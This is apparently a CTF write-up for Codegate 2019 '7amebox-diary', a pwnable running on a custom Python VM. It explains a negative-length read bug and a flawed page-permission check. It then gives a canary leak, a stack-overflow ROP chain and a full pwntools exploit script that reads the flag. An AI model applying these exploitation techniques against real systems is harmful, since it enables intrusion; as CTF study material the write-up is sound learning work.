Codegate CTF 2019 - 7amebox-diary

30th Jul 2024
2 min read
Tags:
ctf,
pwnable,
vm,
improper check,
bof,
rop

0x00. Introduction

Again, the basic structure is the same as 7amebox-name.

➜  ls -al
total 64
drwxr-xr-x  2 user user  4096 Jul 30 08:48 .
drwxr-x--- 24 user user  4096 Jul 30 08:49 ..
-rw-r--r--  1 user user   527 Jul 17 03:04 Dockerfile
-rwxr-xr-x  1 user user 30804 Jul 17 03:02 _7amebox_patched.py
-rw-r--r--  1 user user  4560 Jul 17 03:02 diary.firm
-rw-r--r--  1 user user    41 Jul 17 03:03 flag
-rwxr-xr-x  1 user user    22 Jul 17 03:02 run.sh
-rwxr-xr-x  1 user user   323 Jul 17 03:02 vm_diary.py

Structure

struct diary {
    char title[30];
    char contents[1200];
    char dummpy[30];
    char key[1200];
};

Concept

void main() {
    int choice;
    int canary;

    print(string_0x6c3);
    print("1) list\n2) write\n3) show\n4) edit\n5) quit\n>");
    read(choice, 3);

    while(1) {
        if(choice == '1')
            list_0x12e();
        else if(choice == '2')
            write_0x1f0();
        else if(choice == '3')
            show_0x319();
        else if(choice == '4')
            edit_0x452();
        else if(choice == '5')
            exit_0x23();
    }
}

This firmware allows creating diary entries with write, viewing them with list and show, and modifying them with edit.

0x01. Vulnerability

The firmware is significantly larger than 7amebox-name, so I ported it to C first. But no matter how hard I looked, couldn’t spot any vulnerabilities. That’s when I took another look at the emulator code and found this:

class Stdin:
    def read(self, size):
        res = ''
        buf = sys.stdin.readline(size)
        for ch in buf:
            if ord(ch) > 0b1111111:
                break
            if ch == '\n':
                res += ch
                break
            res += ch
        return res

    def write(self, data):
        return None

Since this is a 7-bit per byte environment, input is terminated and returns when values greater than 0x80 are encountered. This might seem insignificant, but it creates a critical vulnerability in write:

   0x286:  10 5b           mov r5, bp     
   0x288:  2e 50 06 00 00  sub r5, 0x6    
   0x28d:  00 65           ldr r6, [r5] ; r6 = [r5]
   0x28f:  26 60 1e 00 00  add r6, 0x1e   
   0x294:  12 10 30 00 09  mov r1, 0x4b0  
   0x299:  10 06           mov r0, r6     
   0x29b:  7b 50 6f 00 06  call read_0x60f ; read(memory + 30, 1200);
   0x2a0:  48 00           dec r0         
   0x2a2:  10 5b           mov r5, bp     
   0x2a4:  2e 50 06 00 00  sub r5, 0x6    
   0x2a9:  00 65           ldr r6, [r5] ; r6 = [r5]
   0x2ab:  26 60 1e 00 00  add r6, 0x1e   
   0x2b0:  24 60           add r6, r0     
   0x2b2:  0d 76           strb ('zero', [{'r6'}]) ; [r6] = zero
   0x2b4:  10 5b           mov r5, bp     
   0x2b6:  2e 50 06 00 00  sub r5, 0x6    
   0x2bb:  00 65           ldr r6, [r5] ; r6 = [r5]
   0x2bd:  26 60 6c 00 09  add r6, 0x4ec  
   0x2c2:  10 10           mov r1, r0     
   0x2c4:  10 06           mov r0, r6     
   0x2c6:  7b 50 44 00 06  call read_0x60f ; read(memory + 1260, r0)

The write flow takes input in order: title -> contents -> key. Since contents and key are XORed together to be stored, they must have the same length.

Looking at the assembly, at 0x29b it reads contents and immediately uses the return value r0 to determine the length for reading key. There’s a dec r0 at 0x2a0 to remove the trailing \n.

Here’s the vulnerability: if we provide Stdin with a value greater than 0x80 to make r0 zero, the key read length becomes -1.

r0 : 0x3
r1 : 0x0
r2 : 0xc44ec
r3 : -0x1
r4 : 0x0
r5 : 0xf5fc5
r6 : 0xc44ec
r7 : 0xc4000
r8 : 0x3
r9 : 0x18ed55
r10 : 0x59000
bp : 0xf5fcb
sp : 0xf5fb6
pc : 0x625
eflags : 0x1
zero : 0x0
PC : 20 00           syscall

Now let’s examine how this syscall is handled:

    def sys_s3(self):   # read
        fd = self.register.get_register('r1')
        buf = self.register.get_register('r2')
        size = self.register.get_register('r3')

        if 0 <= fd < len(self.pipeline):
            res = self.pipeline[fd].read(size)
            data = map(ord, res)   # Stdin.read(size)
            self.write_memory(buf, data, len(data))
            self.register.set_register('r0', len(data) & 0b111111111111111111111)
        else:
            self.register.set_register('r0', 0)

Fortunately, there’s no validation for negative size values, which triggers a massive overflow reading 0b111111111111111111111 bytes.

    def write_memory(self, addr, data, length):
        if not length:
            return

        if self.memory.check_permission(addr, PERM_WRITE) and self.memory.check_permission(addr + length - 1, PERM_WRITE):
            for offset in range(length):
                self.memory[addr + offset] = data[offset] & 0b1111111
        else:
            self.terminate("[VM] Can't write memory")

Additionally, write_memory only checks permissions for the start and end pages, allowing writes to intermediate pages even without write permission.

0x02. Exploit

Canary Leak

   0x587:  10 5b           mov r5, bp     
   0x589:  2e 50 03 00 00  sub r5, 0x3    
   0x58e:  00 65           ldr r6, [r5] ; r6 = [r5]
   0x590:  5c 69           cmp r6, r9     
   0x592:  73 50 06 00 00  je pc + 0x6 ; jne if A == B ; not FLAG_ZF
   0x597:  11 4b           mov sp, bp     
   0x599:  1d 30           pop bp         
   0x59b:  1d 50           pop pc

stack_chk_fail_0x59d:         
   0x59d:  12 00 04 00 13  mov r0, 0x984  
   0x5a2:  7b 50 3a 00 01  call print_0x661
   0x5a7:  54 00           xor r0, r0     
   0x5a9:  20 00           syscall

Every function includes a stack protection mechanism that compares the value stored in r9 against [bp-0x3].

To bypass this, we need to leak the canary. If we can write the canary’s address to 0x59003, we should be able to leak it through list:

char *load_diary(int i) {
    int *r10 = 0x59000;
    return *(r10 + i * 3);
}

void list_0x12e() {
    char tmp[3];
    int i = 1;
    int canary;
    ...
        print(load_diary_0x6b4(i));
        print('\n');
    ...
}

The challenge is that we need to allocate a diary before 0x59000 (the global variable space) to overwrite it. Here’s the memory allocation logic:

    def allocate(self, new_perm, addr=None):
        if addr:
            if not (self.get_perm(addr) & PERM_MAPPED):
                self.set_perm(addr, (PERM_MAPPED | new_perm) & 0b1111)
                return addr
            else:
                return -1

        for page, perm in self.pages.items():
            if not (self.get_perm(page) & PERM_MAPPED):
                self.set_perm(page, (PERM_MAPPED | new_perm) & 0b1111)
                return page
        return -1

When no address is specified, it iterates through self.pages.items() to find unmapped space. Here’s where Python 2.7’s random dictionary iteration helps us - we can repeatedly call write until an allocation occurs below 0x59000.

I hooked allocate to monitor the allocations and got lucky on the second attempt:

addr : 0xc4000
new perm : 0b1110
addr : 0x1c000
new perm : 0b1110

Now we calculate the offset from the allocated 0x1c000 key address to 0x59003 where diary_ptr is stored:

    write(s, b"AAAA", b"aaaa", b"1111")     # 0xc4000
    payload = b"b" * (data_addr - (0x1c000 + 0x4ec))
    payload += p21(1)
    payload += p21(canary_addr)
    write(s, b"BBBB", b"\xff", payload)     # 0x1c000
    
    r = (list(s))
    canary = u21(r.split(b"1)")[1][:3])
    log.info(f"canary : {hex(canary)}")

Stack Overflow

With the canary leaked, we can overwrite the return address of stack to control pc.

One important note: read_0x60f has its own canary check, so we need to account for both canaries in our payload:

    payload = b"c" * (read_canary_addr - (0x3a000 + 0x4ec))
    payload += p21(canary)                  # canary of read_0x60f
    payload += b"flag\x00\x00"
    payload += p21(canary)                  # canary of write_0x1f0

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from gameboxlib import *
from time import sleep
import sys

BINARY = "./vm_diary.py"
key_addr = 0x1c000 + 0x4ec
data_addr = 0x59000
ret_addr = 0xf5fce
canary_addr = 0xf5fc8
read_canary_addr = 0xf5fb6

bp = {
    'list' : 0x12e,
    'end_of_list' : 0x1ee,
}
context.terminal = ['tmux', 'splitw', '-hf']

def set_bp(s, addr):
    print(s.recv())
    s.sendline(f"b {hex(addr)}".encode())
    sleep(0.1)
    s.sendline(b"c")
    return s.recv()

def list(s):
    s.sendline(b"1")
    sleep(0.1)
    return s.recv()

def write(s, title, contents, key):
    s.sendline(b"2")
    s.recvuntil(b"title>")
    s.sendline(title)
    s.recvuntil(b">")
    s.sendline(contents)
    s.sendline(key)
    return s.recv()

def main():
    if(len(sys.argv) > 1):
        s = remote("localhost", int(sys.argv[1]))
    else:
        s = process(BINARY)
    # print(set_bp(s, bp['end_of_list']))
    s.recv()

    write(s, b"AAAA", b"aaaa", b"1111")     # 0xc4000
    payload = b"b" * (data_addr - (0x1c000 + 0x4ec))
    payload += p21(1)
    payload += p21(canary_addr)
    write(s, b"BBBB", b"\xff", payload)     # 0x1c000
    
    r = (list(s))
    canary = u21(r.split(b"1)")[1][:3])
    log.info(f"canary : {hex(canary)}")

    payload = b"c" * (read_canary_addr - (0x3a000 + 0x4ec))
    payload += p21(canary)
    payload += b"flag\x00\x00"
    payload += p21(canary)
    # open("flag") => r0 = 1, r1 = "flag"
    payload += p21(0x609)                   # ret
    payload += p21(read_canary_addr + 3)    # pop r1
    payload += p21(0x1)                     # pop r0
    payload += p21(0x625)                   # pop pc ; syscall
    # read(2, 0x3a000, 0x40) => r0 = 3, r1 = 2, r2 = 0x3a000, r3 = 0x40
    payload += p21(canary)                  # pop r6
    payload += p21(0x28)                    # pop r3
    payload += p21(0x3a000)                 # pop r2
    payload += p21(0x2)                     # pop r1
    payload += p21(0x60b)                   # pop pc ; pop r0
    payload += p21(0x3)                     # pop r0
    payload += p21(0x625)                   # pop pc ; syscall
    # write(1, 0x3a000, 0x40) => r0 = 2, r1 = 1, r2 = 0x3a000, r3 = 0x40
    payload += p21(canary)                  # pop r6
    payload += p21(0x28)                    # pop r3
    payload += p21(0x3a000)                 # pop r2
    payload += p21(0x1)                     # pop r1
    payload += p21(0x60b)                   # pop pc ; pop r0
    payload += p21(0x2)                     # pop r0
    payload += p21(0x625)                   # pop pc ; syscall
    print(write(s, b"CCCC", b"\xff", payload))     # 0x3a000

if __name__=='__main__':
    main()

0x04. Decompile

#define O_MAPPED 0b1000
#define O_READ   0b0100
#define O_WRITE  0b0010
#define O_EXEC   0b0001
char *string_0x6c3 = "====================================================\
              |                   SECRET_DIARY                   |\
              ====================================================\
              |                   ___________                    |\
              |                  |     _     |                   |\
              |                  |    (_)    |                   |\
              |                  |   |   |   |                   |\
              |                  |   |___|   |                   |\
              |                  |___________|                   |\
              ----------------------------------------------------";

int count_0x59000 = 0;
struct diary *diary_ptr_0x59003[9];

struct diary {
    char title[30];
    char contents[1200];
    char dummpy[30];
    char key[1200];
};

char *load_diary(int i) {
    int *r10 = 0x59000;
    return *(r10 + i * 3);
}

void list_0x12e() {
    char tmp[3];
    int i = 1;
    int canary;

    print("YOUR DIARY");
    print("----------------------------------------------------");
    for(i=1; i<count_0x59000; i++) {
        tmp[0] = i + 0x30;      // '1'
        tmp[1] = 0x29;          // ')'
        print(tmp);

        print(load_diary_0x6b4(i));
        print('\n');
    }
    print("----------------------------------------------------");

    stack_chk_fail();
    return;
}         

void write_0x1f0() {
    struct diary *diary;
    int canary;
    int r0, r8;

    if(count_0x59000 > 9) {
        print("no you can't. (max : 9)");
        goto _0x303;
    }
    count_0x59000++;

    diary = mprotect(O_READ | O_WRITE);
    diary_ptr_0x59003[count_0x59000] = diary;

    print("title>");
    r0 = read(diary, 30);
    diary->title[r0] = "\x00";

    print("content, secret key (same length)\n>");
    r0 = read(diary->contents, 1200);
    diary->contents[r0] = "\x00";

    read(diary->key, r0);   // read(diary->key, 0x7f7f7f);

    for(r8=0; r8<1200; r8++)
        diary->contents[r8] = diary->contents[r8] ^ diary->key[r8];
_0x303:
    stack_chk_fail();
    return;
}

void show_0x319() {
    char buf[1200];         // 0xf5b12
    struct diary *diary;    // 0xf5fc2
    int choice;             // 0xf5fc5
    int canary;             // 0xf5fc8
    int r0, r8;

    print("index>>");
    read(choice, 3);
    if(choice < '1' || choice > '9')
        goto _0x43c;
    
    r0 = choice - '0';
    if(r0 > count_0x59000)
        goto _0x43c;

    diary = load_diary_0x6b4(r0);
    print("----------------------------------------------------");
    print("TITLE :");
    print(diary->title);
    print("\n");
    print("----------------------------------------------------");

    memcpy_0x5d9(buf, diary->contents, 1200);

    for(r8=0; r8<1200; r8++)
        buf[r8] = buf[r8] ^ diary->key[r8];
    
    print(buf);
    print("\n");
    print("----------------------------------------------------");

_0x43c:
    stack_chk_fail();
    return;
}

void edit_0x452() {
    struct diary *diary;
    int choice;
    int canary;
    int r0, r8;

    print("index>>");
    read(choice, 3);
    if(choice < '1' || choice > '9')
        goto _0x587;

    r0 = choice - '0';
    if(r0 > count_0x59000)
        goto _0x587;

    diary = load_diary_0x6b4(r0);
    print("title>");
    read(diary->title, 30);
    diary->title[r0] = "\x00";

    print("content\n>");
    r0 = read(diary->contents, 1200);
    diary->contents[r0] = "\x00";

    print("secret key\n>");
    print(diary->key);
    print("\n");
    
    for(r8=0; r8<1200; r8++)
        diary->contents[r8] = diary->contents[r8] ^ diary->key[r8];

_0x587:
    stack_chk_fail();
    return;
}


void exit_0x23() {
    _exit();
}

void main() {
    int choice;
    int canary;

    print(string_0x6c3);
    print("1) list2) write3) show4) edit5) quit");
    read(choice, 3);

    while(1) {
        if(choice == '1')
            list_0x12e();
        else if(choice == '2')
            write_0x1f0();
        else if(choice == '3')
            show_0x319();
        else if(choice == '4')
            edit_0x452();
        else if(choice == '5')
            exit_0x23();
    }
}